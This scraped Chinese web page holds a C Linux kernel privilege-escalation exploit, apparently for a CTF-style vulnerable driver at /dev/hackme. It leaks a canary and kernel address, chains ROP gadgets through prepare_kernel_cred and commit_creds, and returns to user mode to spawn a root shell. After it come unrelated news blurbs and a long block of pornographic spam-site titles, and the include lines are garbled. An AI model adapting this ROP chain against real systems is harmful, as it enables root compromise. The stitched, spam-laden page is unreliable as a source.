      #include #include ?/*0xffffffff814c6410 T commit_creds --  [-3701815]0xffffffff814c67f0 T prepare_kernel_cred -- [-3700823]0xffffffff823d6b02: cmp rdi, 0xffffff; ret; -- [12094139]0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; -- [-1958308]0xffffffff81006370: pop rdi; ret;  --  [-8682711]0xffffffff8100a55f: swapgs; pop rbp; ret; -- [-8665832]0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; -- [494318]0xffffffff814381cb: iretq; pop rbp; ret; -- [-4284028]0xffffffff8150b97e: pop rsi; ret; -- [-3417801]0xffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode -- [-6607159]*/?//iretq RIP|CS|RFLAGS|SP|SSunsigned long user_cs,user_rflags,user_sp,user_ss;void save_state(){    __asm(        ".intel_syntax noprefix;"        "mov user_cs, cs;"        "mov user_sp, rsp;"        "mov user_ss, ss;"        "pushf;"        "pop user_rflags;"        ".att_syntax;"    );    puts("***save state***");    printf("user_cs:0x%lx\n", user_cs);    printf("user_sp:0x%lx\n", user_sp);    printf("user_ss:0x%lx\n", user_ss);    printf("user_rflags:0x%lx\n", user_rflags);    puts("***save finish***");}?void backdoor(){    puts("***getshell***");    system("/bin/sh");}
      int main(){    save_state();    int fd = open("/dev/hackme", O_RDWR);    unsigned long buf[256];    read(fd, buf, 0x10 * 8);    for(int i = 0; i < 0x10; i++)        printf("i:%d\taddress:0x%lx\n",i, buf[i]);    unsigned long canary = buf[2];    unsigned long payload[256];    unsigned int index = 0;    for(int i = 0; i < (16); i ++)        payload[index++] = 0;    unsigned long leak_addr = buf[10];    printf("leak addr:0x%lx\n", leak_addr);    //iretq RIP|CS|RFLAGS|SP|SS    payload[index++] = canary;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = leak_addr - 8682711; //pop_rdi_ret    payload[index++] = 0;    payload[index++] = leak_addr - 3700823; //prepare_kernel_cred    payload[index++] = leak_addr - 3417801; //pop_rsi_ret    payload[index++] = 0;    payload[index++] = leak_addr - 8682711; //pop_rdi_ret    payload[index++] = 1;    payload[index++] = leak_addr + 494318; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret;     payload[index++] = 0;    payload[index++] = leak_addr - 1958308; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret;     payload[index++] = 0;    payload[index++] = 0;    payload[index++] = leak_addr - 3701815; //commit_creds;    payload[index++] = leak_addr - 6607159 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov   rdi,rsp;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = (unsigned long)backdoor;    payload[index++] = user_cs;    payload[index++] = user_rflags;    payload[index++] = user_sp;    payload[index++] = user_ss;    write(fd, payload, index * 8);    }

      更多網安技能的在線實操練習,請點擊這里>>

      關鍵詞:

      消費
      產業
      這場民營經濟高質量發展大會上,徐匯區創新創業高校聯盟啟動成立|天天觀速訊 6月30日上午,徐匯區促進民營經濟高質量發展大會現場,上海創新創業青
      阿柏西普8mg治療糖尿病黃斑水腫首次實現持續視力改善_全球快播報 7月3日,拜耳宣布關鍵臨床試驗PHOTON的兩年(96周)結果,該試驗研究阿
      當前訊息:這一天 在心中 7月1日黨的生日體悟初心使命汲取前行力量一代人有一代人的使命一代人有
      每日聚焦:安家電視劇劇情介紹52集 安家第二部城家共53集 hello大家好,我是城鄉經濟網小晟來為大家解答以上問題,安家電視劇劇
      基金
      国产成人精品日本亚洲专区| 久久精品国产亚洲AV不卡| 亚洲综合国产一区二区三区| 亚洲av高清在线观看一区二区| 亚洲色大成WWW亚洲女子| 亚洲伊人精品综合在合线| 亚洲精品无码久久毛片波多野吉衣| 亚洲第一视频网站| 久久精品国产亚洲AV大全| 亚洲狠狠久久综合一区77777| 久久精品国产亚洲AV麻豆~| 亚洲va在线va天堂va不卡下载 | 国产亚洲精品无码成人| 亚洲一区二区三区AV无码| 国产亚洲精品资源在线26u| 亚洲成AV人片在线观看无码| 亚洲成AV人片一区二区密柚| 亚洲AV无码乱码在线观看富二代| 亚洲第一极品精品无码久久| 亚洲国产一区二区三区青草影视| 亚洲专区先锋影音| 亚洲国产电影在线观看| 亚洲人成人网毛片在线播放| 亚洲综合精品第一页| 亚洲欧美自偷自拍另类视| 亚洲av日韩av永久在线观看| 欧洲亚洲综合一区二区三区 | 国产精品亚洲а∨天堂2021| yy6080亚洲一级理论| 亚洲一级片免费看| 国产亚洲精品自在久久| 亚洲人成依人成综合网| 亚洲成a人片77777群色| 亚洲 欧洲 自拍 另类 校园| 最新亚洲人成网站在线观看| 亚洲伊人久久综合影院| 亚洲AV无码欧洲AV无码网站| 亚洲国产日韩在线成人蜜芽| 亚洲色少妇熟女11p| 亚洲精品成人a在线观看| 亚洲精品tv久久久久久久久|